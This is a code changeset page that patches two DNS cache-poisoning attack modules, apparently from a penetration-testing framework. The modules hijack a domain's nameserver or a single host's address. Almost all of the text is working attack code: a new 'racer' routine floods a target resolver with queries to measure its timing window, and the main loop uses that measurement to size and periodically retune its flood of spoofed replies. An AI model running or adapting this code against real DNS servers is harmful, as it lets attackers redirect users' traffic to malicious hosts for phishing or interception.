Changeset 5597

Show
Ignore:
Timestamp:
07/25/08 17:01:12 (1 month ago)
Author:
hdm
Message:

This patch changes how we determine the number of spoofed replies to send to each query. When XIDS is set to zero (now the default), the code will now determine the length of time it takes for the target server to query the real nameserver for the target domain. This leads to much more accurate testing and is recalculated every 1000 attempts to handle servers which change under load.

Files:

Legend:

Unmodified
Added
Removed
Modified
Copied
Moved
  • framework3/trunk/modules/auxiliary/spoof/dns/bailiwicked_domain.rb

    r5593 r5597  
    4747                                        OptString.new('DOMAIN', [true, 'The domain to hijack', 'example.com']), 
    4848                                        OptString.new('NEWDNS', [true, 'The hostname of the replacement DNS server', nil]), 
    49                                         OptAddress.new('RECONS', [true, 'Nameserver used for reconnaissance', '208.67.222.222']), 
    50                                         OptInt.new('XIDS', [true, 'Number of XIDs to try for each query', 10]), 
    51                                         OptInt.new('TTL', [true, 'TTL for the malicious NS entry', 31337]), 
     49                                        OptAddress.new('RECONS', [true, 'The nameserver used for reconnaissance', '208.67.222.222']), 
     50                                        OptInt.new('XIDS', [true, 'The number of XIDs to try for each query (0 for automatic)', 0]), 
     51                                        OptInt.new('TTL', [true, 'The TTL for the malicious NS entry', 31337]), 
    5252                                ], self.class) 
    5353                                         
     
    5555         
    5656        def auxiliary_commands 
    57                 return { "check" => "Determine if the specified DNS server (RHOST) is vulnerable" } 
     57                return {  
     58                        "check" => "Determine if the specified DNS server (RHOST) is vulnerable", 
     59                        "racer" => "Determine the size of the window for the target server" 
     60                 } 
    5861        end 
    59  
     62         
     63        def cmd_racer(*args) 
     64                targ = args[0] || rhost() 
     65                dom  = args[1] || "example.com" 
     66                 
     67                if(not (targ and targ.length > 0)) 
     68                        print_status("usage: racer [dns-server] [domain]") 
     69                        return 
     70                end 
     71                 
     72                calculate_race(targ, dom)                
     73        end 
     74         
    6075        def cmd_check(*args) 
    6176                targ = args[0] || rhost() 
     
    129144                newttl  = datastore['TTL'].to_i 
    130145                xidbase = rand(20001) + 20000 
    131                  
     146                numxids = xids          
    132147                address = Rex::Text.rand_text(4).unpack("C4").join(".") 
    133148 
     
    233248                        return 
    234249                end 
    235  
     250                 
     251                if(xids == 0) 
     252                        print_status("Calculating the number of spoofed replies to send per query...") 
     253                        qcnt = calculate_race(target, domain, 100) 
     254                        numxids = ((qcnt * 1.5) / barbs.length).to_i 
     255                        if(numxids == 0) 
     256                                print_status("The server did not reply, giving up.") 
     257                                srv_sock.close 
     258                                disconnect_ip 
     259                                return 
     260                        end                      
     261                        print_status("Sending #{numxids} spoofed replies for each query") 
     262                end 
     263                 
    236264                # Flood the target with queries and spoofed responses, one will eventually hit 
    237265                queries = 0 
     
    273301                        req.aa = 1 
    274302 
    275                         xidbase.upto(xidbase+xids-1) do |id| 
     303                        xidbase.upto(xidbase+numxids-1) do |id| 
    276304                                req.id = id 
    277305                                barbs.each do |barb| 
     
    295323                        if queries % 1000 == 0 
    296324                                print_status("Sent #{queries} queries and #{responses} spoofed responses...") 
     325                                if(xids == 0) 
     326                                        print_status("Recalculating the number of spoofed replies to send per query...") 
     327                                        qcnt = calculate_race(target, domain, 25) 
     328                                        numxids = ((qcnt * 1.5) / barbs.length).to_i 
     329                                        if(numxids == 0) 
     330                                                print_status("The server has stopped replying, giving up.") 
     331                                                srv_sock.close 
     332                                                disconnect_ip 
     333                                                return 
     334                                        end 
     335                                        print_status("Now sending #{numxids} spoofed replies for each query") 
     336                                end      
    297337                        end 
    298338 
     
    329369        end 
    330370 
     371        # 
     372        # Send a recursive query to the target server, then flood 
     373        # the server with non-recursive queries for the same entry. 
     374        # Calculate how many non-recursive queries we receive back 
     375        # until the real server responds. This should give us a  
     376        # ballpark figure for ns->ns latency. We can repeat this  
     377        # a few times to account for each nameserver the cache server 
     378        # may query for the target domain. 
     379        # 
     380        def calculate_race(server, domain, num=50) 
     381 
     382                q_beg_t = nil 
     383                q_end_t = nil 
     384                cnt     = 0 
     385 
     386                times   = [] 
     387                 
     388                hostname = Rex::Text.rand_text_alphanumeric(16) + domain 
     389                                 
     390                sock = Rex::Socket.create_udp( 
     391                        'PeerHost' => server, 
     392                        'PeerPort' => 53 
     393                ) 
     394 
     395 
     396                req = Resolv::DNS::Message.new 
     397                req.add_question(hostname, Resolv::DNS::Resource::IN::A) 
     398                req.rd = 1 
     399                req.id = 1 
     400 
     401                Thread.critical = true 
     402                q_beg_t = Time.now.to_f 
     403                sock.put(req.encode) 
     404                req.rd = 0 
     405                                         
     406                while(times.length < num) 
     407                        res, addr = sock.recvfrom(65535, 0.01) 
     408 
     409                        if res and res.length > 0 
     410                                res = Resolv::DNS::Message.decode(res) 
     411 
     412                                if(res.id == 1) 
     413                                        times << [Time.now.to_f - q_beg_t, cnt] 
     414                                        cnt = 0 
     415                                         
     416                                        hostname = Rex::Text.rand_text_alphanumeric(16) + domain 
     417 
     418                                        Thread.critical = false 
     419                                         
     420                                        sock.close                                       
     421                                        sock = Rex::Socket.create_udp( 
     422                                                'PeerHost' => server, 
     423                                                'PeerPort' => 53 
     424                                        )                
     425                                         
     426                                        Thread.critical = true 
     427                                         
     428                                        q_beg_t = Time.now.to_f 
     429                                        req = Resolv::DNS::Message.new 
     430                                        req.add_question(hostname, Resolv::DNS::Resource::IN::A) 
     431                                        req.rd = 1 
     432                                        req.id = 1 
     433                                         
     434                                        sock.put(req.encode) 
     435                                        req.rd = 0       
     436                                end 
     437                                 
     438                                cnt += 1 
     439                        end 
     440                         
     441                        req.id += 1 
     442                         
     443                        sock.put(req.encode)             
     444                end 
     445                 
     446                Thread.critical = false 
     447                 
     448                min_time = (times.map{|i| i[0]}.min * 100).to_i / 100.0 
     449                max_time = (times.map{|i| i[0]}.max * 100).to_i / 100.0 
     450                sum       = 0 
     451                times.each{|i| sum += i[0]} 
     452                avg_time = (    (sum / times.length) * 100).to_i / 100.0 
     453                 
     454                min_count = times.map{|i| i[1]}.min 
     455                max_count = times.map{|i| i[1]}.max 
     456                sum       = 0 
     457                times.each{|i| sum += i[1]} 
     458                avg_count = sum / times.length 
     459                                 
     460                sock.close 
     461                 
     462                print_status("  race calc: #{times.length} queries | min/max/avg time: #{min_time}/#{max_time}/#{avg_time} | min/max/avg replies: #{min_count}/#{max_count}/#{avg_count}") 
     463 
     464 
     465                # XXX: We should subtract the timing from the target to us (calculated based on 0.50 of our non-recursive query times) 
     466                avg_count 
     467        end      
     468         
    331469end 
    332470end      
  • framework3/trunk/modules/auxiliary/spoof/dns/bailiwicked_host.rb

    r5593 r5597  
    4040                                        OptString.new('HOSTNAME', [true, 'Hostname to hijack', 'pwned.example.com']), 
    4141                                        OptAddress.new('NEWADDR', [true, 'New address for hostname', '1.3.3.7']), 
    42                                         OptAddress.new('RECONS', [true, 'Nameserver used for reconnaissance', '208.67.222.222']), 
    43                                         OptInt.new('XIDS', [true, 'Number of XIDs to try for each query', 10]), 
    44                                         OptInt.new('TTL', [true, 'TTL for the malicious host entry', 31337]), 
     42                                        OptAddress.new('RECONS', [true, 'The nameserver used for reconnaissance', '208.67.222.222']), 
     43                                        OptInt.new('XIDS', [true, 'The number of XIDs to try for each query (0 for automatic)', 0]), 
     44                                        OptInt.new('TTL', [true, 'The TTL for the malicious host entry', 31337]), 
    4545                                ], self.class) 
    4646                                         
     
    4848         
    4949        def auxiliary_commands 
    50                 return { "check" => "Determine if the specified DNS server (RHOST) is vulnerable" } 
     50                return {  
     51                        "check" => "Determine if the specified DNS server (RHOST) is vulnerable", 
     52                        "racer" => "Determine the size of the window for the target server" 
     53                 } 
     54        end 
     55         
     56        def cmd_racer(*args) 
     57                targ = args[0] || rhost() 
     58                dom  = args[1] || "example.com" 
     59                 
     60                if(not (targ and targ.length > 0)) 
     61                        print_status("usage: racer [dns-server] [domain]") 
     62                        return 
     63                end 
     64                         
     65                calculate_race(targ, dom) 
    5166        end 
    5267 
     
    122137                newttl   = datastore['TTL'].to_i 
    123138                xidbase  = rand(20001) + 20000 
     139                numxids = xids 
    124140 
    125141                domain = hostname.sub(/\w+\x2e/,"") 
     
    224240                end 
    225241 
     242 
     243                if(xids == 0) 
     244                        print_status("Calculating the number of spoofed replies to send per query...") 
     245                        qcnt = calculate_race(target, domain, 100) 
     246                        numxids = ((qcnt * 1.5) / barbs.length).to_i 
     247                        if(numxids == 0) 
     248                                print_status("The server did not reply, giving up.") 
     249                                srv_sock.close 
     250                                disconnect_ip 
     251                                return 
     252                        end                      
     253                        print_status("Sending #{numxids} spoofed replies for each query") 
     254                end 
     255 
    226256                # Flood the target with queries and spoofed responses, one will eventually hit 
    227257                queries = 0 
     
    263293                        req.ra = 1 
    264294 
    265                         xidbase.upto(xidbase+xids-1) do |id| 
     295                        xidbase.upto(xidbase+numxids-1) do |id| 
    266296                                req.id = id 
    267297                                barbs.each do |barb| 
     
    285315                        if queries % 1000 == 0 
    286316                                print_status("Sent #{queries} queries and #{responses} spoofed responses...") 
     317                                if(xids == 0) 
     318                                        print_status("Recalculating the number of spoofed replies to send per query...") 
     319                                        qcnt = calculate_race(target, domain, 25) 
     320                                        numxids = ((qcnt * 1.5) / barbs.length).to_i 
     321                                        if(numxids == 0) 
     322                                                print_status("The server has stopped replying, giving up.") 
     323                                                srv_sock.close 
     324                                                disconnect_ip 
     325                                                return 
     326                                        end 
     327                                        print_status("Now sending #{numxids} spoofed replies for each query") 
     328                                end                              
    287329                        end 
    288330 
     
    313355                                end 
    314356                        end 
    315  
    316                 end 
    317  
     357                end 
    318358        end 
     359 
     360        # 
     361        # Send a recursive query to the target server, then flood 
     362        # the server with non-recursive queries for the same entry. 
     363        # Calculate how many non-recursive queries we receive back 
     364        # until the real server responds. This should give us a  
     365        # ballpark figure for ns->ns latency. We can repeat this  
     366        # a few times to account for each nameserver the cache server 
     367        # may query for the target domain. 
     368        # 
     369        def calculate_race(server, domain, num=50) 
     370 
     371                q_beg_t = nil 
     372                q_end_t = nil 
     373                cnt     = 0 
     374 
     375                times   = [] 
     376                 
     377                hostname = Rex::Text.rand_text_alphanumeric(16) + domain 
     378                                 
     379                sock = Rex::Socket.create_udp( 
     380                        'PeerHost' => server, 
     381                        'PeerPort' => 53 
     382                ) 
     383 
     384 
     385                req = Resolv::DNS::Message.new 
     386                req.add_question(hostname, Resolv::DNS::Resource::IN::A) 
     387                req.rd = 1 
     388                req.id = 1 
     389 
     390                Thread.critical = true 
     391                q_beg_t = Time.now.to_f 
     392                sock.put(req.encode) 
     393                req.rd = 0 
     394                                         
     395                while(times.length < num) 
     396                        res, addr = sock.recvfrom(65535, 0.01) 
     397 
     398                        if res and res.length > 0 
     399                                res = Resolv::DNS::Message.decode(res) 
     400 
     401                                if(res.id == 1) 
     402                                        times << [Time.now.to_f - q_beg_t, cnt] 
     403                                        cnt = 0 
     404                                         
     405                                        hostname = Rex::Text.rand_text_alphanumeric(16) + domain 
     406 
     407                                        Thread.critical = false 
     408                                         
     409                                        sock.close                                       
     410                                        sock = Rex::Socket.create_udp( 
     411                                                'PeerHost' => server, 
     412                                                'PeerPort' => 53 
     413                                        )                
     414                                         
     415                                        Thread.critical = true 
     416                                         
     417                                        q_beg_t = Time.now.to_f 
     418                                        req = Resolv::DNS::Message.new 
     419                                        req.add_question(hostname, Resolv::DNS::Resource::IN::A) 
     420                                        req.rd = 1 
     421                                        req.id = 1 
     422                                         
     423                                        sock.put(req.encode) 
     424                                        req.rd = 0       
     425                                end 
     426                                 
     427                                cnt += 1 
     428                        end 
     429                         
     430                        req.id += 1 
     431                         
     432                        sock.put(req.encode)             
     433                end 
     434                 
     435                Thread.critical = false 
     436                 
     437                min_time = (times.map{|i| i[0]}.min * 100).to_i / 100.0 
     438                max_time = (times.map{|i| i[0]}.max * 100).to_i / 100.0 
     439                sum       = 0 
     440                times.each{|i| sum += i[0]} 
     441                avg_time = (    (sum / times.length) * 100).to_i / 100.0 
     442                 
     443                min_count = times.map{|i| i[1]}.min 
     444                max_count = times.map{|i| i[1]}.max 
     445                sum       = 0 
     446                times.each{|i| sum += i[1]} 
     447                avg_count = sum / times.length 
     448                                 
     449                sock.close 
     450                 
     451                print_status("  race calc: #{times.length} queries | min/max/avg time: #{min_time}/#{max_time}/#{avg_time} | min/max/avg replies: #{min_count}/#{max_count}/#{avg_count}") 
     452 
     453 
     454                # XXX: We should subtract the timing from the target to us (calculated based on 0.50 of our non-recursive query times) 
     455                avg_count 
     456        end      
    319457 
    320458end